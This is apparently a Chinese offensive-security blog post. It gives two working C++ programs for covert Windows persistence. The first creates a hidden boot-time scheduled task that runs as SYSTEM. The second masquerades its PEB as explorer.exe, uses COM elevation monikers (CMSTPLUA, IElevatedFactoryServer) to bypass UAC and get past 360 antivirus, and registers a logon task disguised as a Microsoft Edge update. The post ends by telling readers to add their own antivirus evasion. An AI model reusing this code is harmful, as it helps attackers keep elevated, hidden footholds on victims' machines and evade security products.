先看普通api创建计划任务
#define _WIN32_DCOM
#pragma comment(linker, "/SUBSYSTEM:windows /ENTRY:mainCRTStartup")
#include <windows.h>
#include <iostream>
#include <stdio.h>
#include <comdef.h>
#include <taskschd.h>
#include "tlhelp32.h"
#pragma comment(lib, "wininet.lib")
#pragma comment(lib, "taskschd.lib")
#pragma comment(lib, "comsupp.lib")
using namespace std;
int login(HANDLE han, LPWSTR filename)
{
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
hr = CoInitializeSecurity(
NULL,
-1,
NULL,
NULL,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL,
0,
NULL);
string wszTaskName = "WindowsWatchDog";
ITaskService* pService = NULL;
hr = CoCreateInstance(CLSID_TaskScheduler,
NULL,
CLSCTX_INPROC_SERVER,
IID_ITaskService,
(void**)&pService);
hr = pService->Connect(_variant_t(), _variant_t(),
_variant_t(), _variant_t());
ITaskFolder* pRootFolder = NULL;
hr = pService->GetFolder(_bstr_t(L"\\"), &pRootFolder);
pRootFolder->DeleteTask(_bstr_t(wszTaskName.c_str()), 0);
ITaskDefinition* pTask = NULL;
hr = pService->NewTask(0, &pTask);
pService->Release();
IRegistrationInfo* pRegInfo = NULL;
hr = pTask->get_RegistrationInfo(&pRegInfo);
hr = pRegInfo->put_Author(_bstr_t("Administrator"));
pRegInfo->Release();
ITaskSettings* pSettings = NULL;
hr = pTask->get_Settings(&pSettings);
hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
pSettings->Release();
ITriggerCollection* pTriggerCollection = NULL;
hr = pTask->get_Triggers(&pTriggerCollection);
ITrigger* pTrigger = NULL;
hr = pTriggerCollection->Create(TASK_TRIGGER_BOOT, &pTrigger);
pTriggerCollection->Release();
IBootTrigger* pBootTrigger = NULL;
hr = pTrigger->QueryInterface(
IID_IBootTrigger, (void**)&pBootTrigger);
pTrigger->Release();
hr = pBootTrigger->put_Id(_bstr_t(L"Trigger1"));
hr = pBootTrigger->put_StartBoundary(_bstr_t(L"2005-01-01T12:05:00"));
hr = pBootTrigger->put_EndBoundary(_bstr_t(L"2035-05-02T08:00:00"));
hr = pBootTrigger->put_Delay(_bstr_t("PT10S"));
pBootTrigger->Release();
IActionCollection* pActionCollection = NULL;
hr = pTask->get_Actions(&pActionCollection);
IAction* pAction = NULL;
hr = pActionCollection->Create(TASK_ACTION_EXEC, &pAction);
pActionCollection->Release();
IExecAction* pExecAction = NULL;
hr = pAction->QueryInterface(
IID_IExecAction, (void**)&pExecAction);
pAction->Release();
hr = pExecAction->put_Path(filename);
pExecAction->Release();
IRegisteredTask* pRegisteredTask = NULL;
VARIANT varPassword;
varPassword.vt = VT_EMPTY;
hr = pRootFolder->RegisterTaskDefinition(
_bstr_t(wszTaskName.c_str()),
pTask,
TASK_CREATE_OR_UPDATE,
_variant_t(L"SYSTEM"),
varPassword,
TASK_LOGON_SERVICE_ACCOUNT,
_variant_t(L""),
&pRegisteredTask);
if (FAILED(hr))
{
WriteConsole(han, L"\nError saving the Task", 23, new DWORD, 0);
//printf("\nError saving the Task : %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
WriteConsole(han, L"Success", 8, new DWORD, 0);
pRootFolder->Release();
pTask->Release();
pRegisteredTask->Release();
CoUninitialize();
return 0;
}
int main()
{
HANDLE han = GetStdHandle(STD_OUTPUT_HANDLE);
WCHAR filenam[MAX_PATH];
GetModuleFileNameW(NULL, filenam, MAX_PATH);
login(han,filenam);
}
上面的创建计划任务可以在运行着大部分杀软的情况下创建计划任务维权。但是碰到360核晶会被提示拦截,下面是绕过核晶创建的代码,附带一段PEB提权
#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <iostream>
#include <Windows.h>
#include <taskschd.h>
#include <comdef.h>
#include <comutil.h>
#include <objbase.h>
#include <ntstatus.h>
#pragma comment(lib, "taskschd.lib")
#pragma comment(lib, "comsuppw.lib")
#include <sddl.h>
#include <Aclapi.h>
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "ntdll.lib")
#include <fstream>
#include <string>
#include <filesystem>
#include <cstdlib>
#define T_CLSID_CMSTPLUA L"{3E5FC7F9-9A51-4367-9063-A120244FBEC7}"
#define T_IID_ICMLuaUtil L"{6EDD6D74-C007-4E75-B76A-E5740995E24C}"
#define T_ELEVATION_MONIKER_ADMIN L"Elevation:Administrator!new:"
#define UCM_DEFINE_GUID(name, l, w1, w2, b1, b2, b3, b4, b5, b6, b7, b8) \
EXTERN_C const GUID DECLSPEC_SELECTANY name \
= { l, w1, w2, { b1, b2, b3, b4, b5, b6, b7, b8 } }
UCM_DEFINE_GUID(IID_ICMLuaUtil, 0x6EDD6D74, 0xC007, 0x4E75, 0xB7, 0x6A, 0xE5, 0x74, 0x09, 0x95, 0xE2, 0x4C);
typedef interface ICMLuaUtil ICMLuaUtil;
typedef struct ICMLuaUtilVtbl {
BEGIN_INTERFACE
HRESULT(STDMETHODCALLTYPE* QueryInterface)(
__RPC__in ICMLuaUtil* This,
__RPC__in REFIID riid,
_COM_Outptr_ void** ppvObject);
ULONG(STDMETHODCALLTYPE* AddRef)(
__RPC__in ICMLuaUtil* This);
ULONG(STDMETHODCALLTYPE* Release)(
__RPC__in ICMLuaUtil* This);
HRESULT(STDMETHODCALLTYPE* SetRasCredentials)(
__RPC__in ICMLuaUtil* This);
HRESULT(STDMETHODCALLTYPE* SetRasEntryProperties)(
__RPC__in ICMLuaUtil* This);
HRESULT(STDMETHODCALLTYPE* DeleteRasEntry)(
__RPC__in ICMLuaUtil* This);
HRESULT(STDMETHODCALLTYPE* LaunchInfSection)(
__RPC__in ICMLuaUtil* This);
HRESULT(STDMETHODCALLTYPE* LaunchInfSectionEx)(
__RPC__in ICMLuaUtil* This);
HRESULT(STDMETHODCALLTYPE* CreateLayerDirectory)(
__RPC__in ICMLuaUtil* This);
HRESULT(STDMETHODCALLTYPE* ShellExec)(
__RPC__in ICMLuaUtil* This,
_In_ LPCTSTR lpFile,
_In_opt_ LPCTSTR lpParameters,
_In_opt_ LPCTSTR lpDirectory,
_In_ ULONG fMask,
_In_ ULONG nShow);
END_INTERFACE
} *PICMLuaUtilVtbl;
interface ICMLuaUtil { CONST_VTBL struct ICMLuaUtilVtbl* lpVtbl; };
HRESULT ucmAllocateElevatedObject(
_In_ LPWSTR lpObjectCLSID,
_In_ REFIID riid,
_In_ DWORD dwClassContext,
_Outptr_ void** ppv
)
{
BOOL bCond = FALSE;
DWORD classContext;
HRESULT hr = E_FAIL;
PVOID ElevatedObject = NULL;
BIND_OPTS3 bop;
WCHAR szMoniker[MAX_PATH];
do {
if (wcslen(lpObjectCLSID) > 64)
break;
RtlSecureZeroMemory(&bop, sizeof(bop));
bop.cbStruct = sizeof(bop);
classContext = dwClassContext;
if (dwClassContext == 0)
classContext = CLSCTX_LOCAL_SERVER;
bop.dwClassContext = classContext;
wcscpy(szMoniker, T_ELEVATION_MONIKER_ADMIN);
wcscat(szMoniker, lpObjectCLSID);
hr = CoGetObject(szMoniker, (BIND_OPTS*)&bop, riid, &ElevatedObject);
} while (bCond);
*ppv = ElevatedObject;
return hr;
}
NTSTATUS ucmCMLuaUtilShellExecMethod(
_In_ LPWSTR lpszExecutable
)
{
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
HRESULT r = E_FAIL, hr_init;
BOOL bApprove = FALSE;
ICMLuaUtil* CMLuaUtil = NULL;
hr_init = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
do {
r = ucmAllocateElevatedObject(
LPWSTR(T_CLSID_CMSTPLUA),
IID_ICMLuaUtil,
CLSCTX_LOCAL_SERVER,
(void**)&CMLuaUtil);
if (r != S_OK)
break;
if (CMLuaUtil == NULL) {
r = E_OUTOFMEMORY;
break;
}
r = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil,
lpszExecutable,
NULL,
NULL,
SEE_MASK_DEFAULT,
SW_SHOW);
if (SUCCEEDED(r))
MethodResult = STATUS_SUCCESS;
} while (FALSE);
if (CMLuaUtil != NULL) {
CMLuaUtil->lpVtbl->Release(CMLuaUtil);
}
if (hr_init == S_OK)
CoUninitialize();
return MethodResult;
}
BOOL MasqueradePEB() {
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef NTSTATUS(NTAPI* _NtQueryInformationProcess)(
HANDLE ProcessHandle,
DWORD ProcessInformationClass,
PVOID ProcessInformation,
DWORD ProcessInformationLength,
PDWORD ReturnLength
);
typedef NTSTATUS(NTAPI* _RtlEnterCriticalSection)(
PRTL_CRITICAL_SECTION CriticalSection
);
typedef NTSTATUS(NTAPI* _RtlLeaveCriticalSection)(
PRTL_CRITICAL_SECTION CriticalSection
);
typedef void (WINAPI* _RtlInitUnicodeString)(
PUNICODE_STRING DestinationString,
PCWSTR SourceString
);
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY* Flink;
struct _LIST_ENTRY* Blink;
} LIST_ENTRY, * PLIST_ENTRY;
typedef struct _PROCESS_BASIC_INFORMATION
{
LONG ExitStatus;
PVOID PebBaseAddress;
ULONG_PTR AffinityMask;
LONG BasePriority;
ULONG_PTR UniqueProcessId;
ULONG_PTR ParentProcessId;
} PROCESS_BASIC_INFORMATION, * PPROCESS_BASIC_INFORMATION;
typedef struct _PEB_LDR_DATA {
ULONG Length;
BOOLEAN Initialized;
HANDLE SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID EntryInProgress;
BOOLEAN ShutdownInProgress;
HANDLE ShutdownThreadId;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _RTL_USER_PROCESS_PARAMETERS {
BYTE Reserved1[16];
PVOID Reserved2[10];
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;
typedef struct _PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
union
{
BOOLEAN BitField;
struct
{
BOOLEAN ImageUsesLargePages : 1;
BOOLEAN IsProtectedProcess : 1;
BOOLEAN IsLegacyProcess : 1;
BOOLEAN IsImageDynamicallyRelocated : 1;
BOOLEAN SkipPatchingUser32Forwarders : 1;
BOOLEAN SpareBits : 3;
};
};
HANDLE Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PRTL_CRITICAL_SECTION FastPebLock;
} PEB, * PPEB;
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
union
{
LIST_ENTRY InInitializationOrderLinks;
LIST_ENTRY InProgressLinks;
};
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
WORD LoadCount;
WORD TlsIndex;
union
{
LIST_ENTRY HashLinks;
struct
{
PVOID SectionPointer;
ULONG CheckSum;
};
};
union
{
ULONG TimeDateStamp;
PVOID LoadedImports;
};
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
DWORD dwPID;
PROCESS_BASIC_INFORMATION pbi;
PPEB peb;
PPEB_LDR_DATA pld;
PLDR_DATA_TABLE_ENTRY ldte;
_NtQueryInformationProcess NtQueryInformationProcess = (_NtQueryInformationProcess)
GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess");
if (NtQueryInformationProcess == NULL) {
return FALSE;
}
_RtlEnterCriticalSection RtlEnterCriticalSection = (_RtlEnterCriticalSection)
GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlEnterCriticalSection");
if (RtlEnterCriticalSection == NULL) {
return FALSE;
}
_RtlLeaveCriticalSection RtlLeaveCriticalSection = (_RtlLeaveCriticalSection)
GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlLeaveCriticalSection");
if (RtlLeaveCriticalSection == NULL) {
return FALSE;
}
_RtlInitUnicodeString RtlInitUnicodeString = (_RtlInitUnicodeString)
GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlInitUnicodeString");
if (RtlInitUnicodeString == NULL) {
return FALSE;
}
dwPID = GetCurrentProcessId();
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, dwPID);
if (hProcess == INVALID_HANDLE_VALUE)
{
return FALSE;
}
NtQueryInformationProcess(hProcess, 0, &pbi, sizeof(pbi), NULL);
if (!ReadProcessMemory(hProcess, &pbi.PebBaseAddress, &peb, sizeof(peb), NULL)) {
return FALSE;
}
if (!ReadProcessMemory(hProcess, &peb->Ldr, &pld, sizeof(pld), NULL)) {
return FALSE;
}
WCHAR chExplorer[MAX_PATH + 1];
GetWindowsDirectory(chExplorer, MAX_PATH);
wcscat_s(chExplorer, sizeof(chExplorer) / sizeof(wchar_t), L"\\explorer.exe");
LPWSTR pwExplorer = (LPWSTR)malloc(MAX_PATH);
wcscpy_s(pwExplorer, MAX_PATH, chExplorer);
RtlEnterCriticalSection(peb->FastPebLock);
RtlInitUnicodeString(&peb->ProcessParameters->ImagePathName, pwExplorer);
RtlInitUnicodeString(&peb->ProcessParameters->CommandLine, pwExplorer);
WCHAR wFullDllName[MAX_PATH];
WCHAR wExeFileName[MAX_PATH];
GetModuleFileName(NULL, wExeFileName, MAX_PATH);
LPVOID pStartModuleInfo = peb->Ldr->InLoadOrderModuleList.Flink;
LPVOID pNextModuleInfo = pld->InLoadOrderModuleList.Flink;
do
{
if (!ReadProcessMemory(hProcess, &pNextModuleInfo, &ldte, sizeof(ldte), NULL)) {
return FALSE;
}
if (!ReadProcessMemory(hProcess, (LPVOID)ldte->FullDllName.Buffer, (LPVOID)&wFullDllName, ldte->FullDllName.MaximumLength, NULL))
{
return FALSE;
}
if (_wcsicmp(wExeFileName, wFullDllName) == 0) {
RtlInitUnicodeString(&ldte->FullDllName, pwExplorer);
RtlInitUnicodeString(&ldte->BaseDllName, pwExplorer);
break;
}
pNextModuleInfo = ldte->InLoadOrderLinks.Flink;
} while (pNextModuleInfo != pStartModuleInfo);
RtlLeaveCriticalSection(peb->FastPebLock);
CloseHandle(hProcess);
if (_wcsicmp(chExplorer, wFullDllName) == 0) {
return FALSE;
}
return TRUE;
}
std::wstring GetCurrentExecutablePath() {
wchar_t buffer[MAX_PATH];
GetModuleFileName(NULL, buffer, MAX_PATH);
return std::wstring(buffer);
}
std::wstring GetTaskXml(const std::wstring& executablePath) {
return L"<?xml version=\"1.0\" encoding=\"UTF-16\"?>\
<Task version=\"1.2\" xmlns=\"http://schemas.microsoft.com/windows/2004/02/mit/task\">\
<Principals>\
<Principal>\
<RunLevel>HighestAvailable</RunLevel>\
</Principal>\
</Principals>\
<Triggers>\
<LogonTrigger>\
<Enabled>true</Enabled>\
</LogonTrigger>\
</Triggers>\
<Actions Context=\"Author\">\
<Exec>\
<Command>cmd</Command>\
<Arguments>/c start """" " + executablePath + L"</Arguments>\
</Exec>\
</Actions>\
</Task>";
}
static const IID IID_IElevatedFactoryServer =
{ 0x804bd226, 0xaf47, 0x4d71, { 0xb4, 0x92, 0x44, 0x3a, 0x57, 0x61, 0x0b, 0x08 } };
interface IElevatedFactoryServer : public IUnknown {
virtual HRESULT STDMETHODCALLTYPE ServerCreateElevatedObject(REFCLSID rclsid, REFIID riid, void** ppv) = 0;
};
bool IsProcessRunningAsAdmin() {
HANDLE hToken = nullptr;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
std::cout << "Failed to open process token: " << GetLastError() << std::endl;
return false;
}
TOKEN_ELEVATION elevation;
DWORD dwSize;
if (!GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &dwSize)) {
std::cout << "Failed to get token information: " << GetLastError() << std::endl;
CloseHandle(hToken);
return false;
}
CloseHandle(hToken);
return elevation.TokenIsElevated != 0;
}
int task() {
std::wstring currentExecutablePath = GetCurrentExecutablePath();
std::wstring taskXml = GetTaskXml(currentExecutablePath);
const wchar_t* TASK_XML = taskXml.c_str();
if (!IsProcessRunningAsAdmin()) {
MasqueradePEB();
}
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
if (FAILED(hr)) {
std::cerr << "CoInitializeEx failed: " << hr << std::endl;
return 1;
}
try {
CLSID clsidElevatedFactoryServer;
hr = CLSIDFromString(L"{A6BFEA43-501F-456F-A845-983D3AD7B8F0}", &clsidElevatedFactoryServer);
BIND_OPTS3 bo;
memset(&bo, 0, sizeof(bo));
bo.cbStruct = sizeof(bo);
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
IElevatedFactoryServer* pElevatedFactoryServer = NULL;
hr = CoGetObject(L"Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}", &bo, IID_IElevatedFactoryServer, (void**)&pElevatedFactoryServer);
if (FAILED(hr)) {
std::cerr << "CoGetObject failed: " << hr << std::endl;
return 1;
}
ITaskService* pTaskService = NULL;
CLSID clsidTaskService;
hr = CLSIDFromString(L"{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}", &clsidTaskService);
hr = pElevatedFactoryServer->ServerCreateElevatedObject(clsidTaskService, IID_ITaskService, (void**)&pTaskService);
if (FAILED(hr)) {
std::cerr << "ServerCreateElevatedObject failed: " << hr << std::endl;
return 1;
}
hr = pTaskService->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
if (FAILED(hr)) {
std::cerr << "Connect failed: " << hr << std::endl;
return 1;
}
ITaskFolder* pRootFolder = NULL;
hr = pTaskService->GetFolder(_bstr_t(L"\\"), &pRootFolder);
if (FAILED(hr)) {
std::cerr << "GetFolder failed: " << hr << std::endl;
return 1;
}
hr = pRootFolder->DeleteTask(_bstr_t(L"MicrosoftEdgeUpdateTaskMachine_NAME"), 0);
if (SUCCEEDED(hr)) {
std::cout << "Deleted existing task: MicrosoftEdgeUpdateTaskMachine_NAME" << std::endl;
}
IRegisteredTask* pRegisteredTask = NULL;
hr = pRootFolder->RegisterTask(_bstr_t(L"MicrosoftEdgeUpdateTaskMachine_NAME"), _bstr_t(TASK_XML),
TASK_CREATE_OR_UPDATE, _variant_t(), _variant_t(), TASK_LOGON_INTERACTIVE_TOKEN, _variant_t(L""),
&pRegisteredTask);
if (SUCCEEDED(hr)) {
std::cout << "Registered new task: MicrosoftEdgeUpdateTaskMachine_NAME" << std::endl; pRegisteredTask->Release();
}
else { std::cerr << "Failed to register new task: MicrosoftEdgeUpdateTaskMachine_NAME" << std::endl; }
pRootFolder->Release();
pTaskService->Release();
pElevatedFactoryServer->Release();
}
catch (const _com_error& e) {
std::cerr << "Error: " << e.ErrorMessage() << std::endl;
}
CoUninitialize();
return 0;
}
int main() {
task();
}
代码已经被静态查杀,请自行处理免杀